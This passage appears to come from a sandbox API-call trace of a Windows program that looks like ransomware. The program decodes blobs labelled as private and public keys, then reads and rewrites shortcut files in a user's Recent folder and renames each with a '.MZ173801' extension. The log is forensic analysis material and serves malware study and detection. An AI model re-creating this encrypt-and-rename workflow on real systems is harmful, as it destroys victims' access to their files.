zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.564] GetCurrentThreadId () returned 0xab4 [0147.564] GetCurrentThreadId () returned 0xab4 [0147.564] GetCurrentThreadId () returned 0xab4 [0147.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.565] GetCurrentThreadId () returned 0xab4 [0147.565] GetCurrentThreadId () returned 0xab4 [0147.565] GetCurrentThreadId () returned 0xab4 [0147.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eh9nFqOb33ZYsx1OOIH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eh9nfqob33zysx1ooih.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.565] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.565] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.565] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3f3 [0147.565] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.565] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3f3, lpOverlapped=0x0) returned 1 [0147.566] CloseHandle (hObject=0x280) returned 1 [0147.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eh9nFqOb33ZYsx1OOIH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eh9nfqob33zysx1ooih.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.567] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3f3, lpOverlapped=0x0) returned 1 [0147.568] CloseHandle (hObject=0x280) returned 1 [0147.570] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eh9nFqOb33ZYsx1OOIH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eh9nfqob33zysx1ooih.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eh9nFqOb33ZYsx1OOIH.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eh9nfqob33zysx1ooih.lnk.mz173801")) returned 1 [0147.571] GetCurrentThreadId () returned 0xab4 [0147.571] GetCurrentThreadId () returned 0xab4 [0147.571] GetCurrentThreadId () returned 0xab4 [0147.571] GetCurrentThreadId () returned 0xab4 [0147.571] GetCurrentThreadId () returned 0xab4 [0147.571] GetCurrentThreadId () returned 0xab4 [0147.571] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b24d005, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4b24d005, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4b24d005, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="eIdmvaOqadIUE.lnk", cAlternateFileName="EIDMVA~1.LNK")) returned 1 [0147.571] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.571] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eIdmvaOqadIUE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eidmvaoqadiue.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b24d005, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4b24d005, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4b24d005, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x297)) returned 1 [0147.571] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eIdmvaOqadIUE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eidmvaoqadiue.lnk")) returned 0x20 [0147.571] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eIdmvaOqadIUE.lnk", dwFileAttributes=0x80) returned 1 [0147.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew